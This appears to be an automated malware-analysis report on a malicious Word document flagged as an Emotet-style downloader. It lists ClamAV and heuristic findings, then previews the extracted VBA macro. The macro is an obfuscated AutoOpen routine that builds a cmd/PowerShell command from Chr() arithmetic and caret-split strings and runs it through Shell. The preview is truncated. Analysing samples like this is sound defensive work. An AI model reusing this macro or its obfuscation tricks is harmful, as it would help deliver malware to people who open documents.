MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is designed to execute a shell command using obfuscated strings, which is a common technique for downloading and executing further malicious content. The ClamAV detection name 'Doc.Malware.Emooodldr-6693453-0' strongly suggests the Emooodldr family.
Heuristics 5
-
ClamAV: Doc.Malware.Emooodldr-6693453-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emooodldr-6693453-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 15225 bytes |
SHA-256: fba8dca31be86a9ea82e3194116e62fe32e1e43facf3184ab499a04396069a0b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "OajqOwO"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const inzJBMBccKl = 0
Dim UbFjO(4)
UbFjO(0) = Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743) + Left(KvnrQDts, 610) + MidB(MHdpc, 907, 55)
UbFjO(1) = MidB(MHdpc, 907, 55) + MidB(MHdpc, 907, 55)
UbFjO(2) = Left(KvnrQDts, 610) + Left(KvnrQDts, 610)
UbFjO(3) = Right(ZSppVYcJ, 104) + Right(ZSppVYcJ, 104)
Dim mjAts(2)
mjAts(0) = Left(KvnrQDts, 610) + Right(ZSppVYcJ, 104) + Right(ZSppVYcJ, 104) + Right(ZSppVYcJ, 104)
mjAts(1) = MidB(MHdpc, 907, 55) + MidB(MHdpc, 907, 55)
Dim zzsAB(4)
zzsAB(0) = MidB(MHdpc, 907, 55) + Left(KvnrQDts, 610)
zzsAB(1) = Right(ZSppVYcJ, 104) + Left(KvnrQDts, 610) + Right(ZSppVYcJ, 104) + Mid(wFCsFir, 497, 743)
zzsAB(2) = Right(ZSppVYcJ, 104) + Mid(wFCsFir, 497, 743)
zzsAB(3) = Left(KvnrQDts, 610) + Right(ZSppVYcJ, 104)
Dim idtOP(2)
idtOP(0) = Right(ZSppVYcJ, 104) + Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743) + MidB(MHdpc, 907, 55)
idtOP(1) = Mid(wFCsFir, 497, 743) + Left(KvnrQDts, 610)
Shell@ fCJHOwDt + XJhmqqtIH + GsaDSQkzzXvJ + dQTGSfQDNtmEwb, inzJBMBccKl
Dim wDVvuA(2)
wDVvuA(0) = Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743)
wDVvuA(1) = Left(KvnrQDts, 610) + Left(KvnrQDts, 610)
Dim zwPBsc(4)
zwPBsc(0) = Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + MidB(MHdpc, 907, 55)
zwPBsc(1) = Mid(wFCsFir, 497, 743) + Left(KvnrQDts, 610)
zwPBsc(2) = Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743)
zwPBsc(3) = Mid(wFCsFir, 497, 743) + Right(ZSppVYcJ, 104)
End Sub
Attribute VB_Name = "ukzdvJklU"
Function fCJHOwDt()
Dim OisUO(4)
OisUO(0) = Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + Right(ZSppVYcJ, 104)
OisUO(1) = MidB(MHdpc, 907, 55) + Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + Right(ZSppVYcJ, 104)
OisUO(2) = Mid(wFCsFir, 497, 743) + Right(ZSppVYcJ, 104) + Left(KvnrQDts, 610) + MidB(MHdpc, 907, 55)
OisUO(3) = Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743) + MidB(MHdpc, 907, 55) + Left(KvnrQDts, 610)
bWXaCRqfwwC = CStr(Chr(CleanString(4 + 8 + 16 + 4 + 67))) + "md /V^:/" + CStr(Chr(CleanString(3 + 5 + 10 + 3 + 46))) + CStr(Chr(CleanString(1 + 2 + 5 + 1 + 25))) + "^s" + "e^t q^z=" + "^ ^ ^ ^ " + "^ "
Dim Npcur(4)
Npcur(0) = Left(KvnrQDts, 610) + Right(ZSppVYcJ, 104)
Npcur(1) = Right(ZSppVYcJ, 104) + Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + MidB(MHdpc, 907, 55)
Npcur(2) = Mid(wFCsFir, 497, 743) + Right(ZSppVYcJ, 104) + MidB(MHdpc, 907, 55) + Left(KvnrQDts, 610)
Npcur(3) = Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743)
Dim BRLcC(2)
BRLcC(0) = Mid(wFCsFir, 497, 743) + Right(ZSppVYcJ, 104)
BRLcC(1) = Right(ZSppVYcJ, 104) + Right(ZSppVYcJ, 104) + MidB(MHdpc, 907, 55) + Right(ZSppVYcJ, 104)
Dim YwqBjO(4)
YwqBjO(0) = Right(ZSppVYcJ, 104) + MidB(MHdpc, 907, 55)
YwqBjO(1) = Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + MidB(MHdpc, 907, 55)
YwqBjO(2) = Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743) + Mid(wFCsFir, 497, 743) + Left(KvnrQDts, 610)
YwqBjO(3) = Right(ZSppVYcJ, 104) + Left(KvnrQDts, 610)
Dim uajSoA(5)
uajSoA(0) = Right(ZSppVYcJ, 104) + Mid(wFCsFir, 497, 743) + MidB(MHdpc, 907, 55) + Right(ZSppVYcJ, 104)
uajSoA(1) = Right(ZSppVYcJ, 104) + MidB(MHdpc, 907, 55) + Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743)
uajSoA(2) = Mid(wFCsFir, 497, 743) + Left(KvnrQDts, 610)
uajSoA(3) = Left(KvnrQDts, 610) + Left(KvnrQDts, 610)
uajSoA(4) = MidB(MHdpc, 907, 55) + Left(KvnrQDts, 610) + Mid(wFCsFir, 497, 743) + Left(KvnrQDts, 610)
wiKfQUf = "^ ^ ^ ^ " + "^ ^}^}{^h" + CStr(Chr(CleanString(4 + 8 + 16 + 4 + 67))) + "t^" + "a" + CStr(Chr(CleanString(4 + 8 + 16 + 4 + 67))) + "}^;k^ae" + "rb;" + CStr(Chr(CleanString(4 + 8 + 16 + 4 + 67))) + "^" + "o" + "Y$ m^etI-e" + "^k^ovn^I^;" + ")" + CStr(Chr(CleanString(4 + 8 + 16 + 4 + 67))) + "^oY$ " + "^,"
Dim VEBiU(2)
VEBiU
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.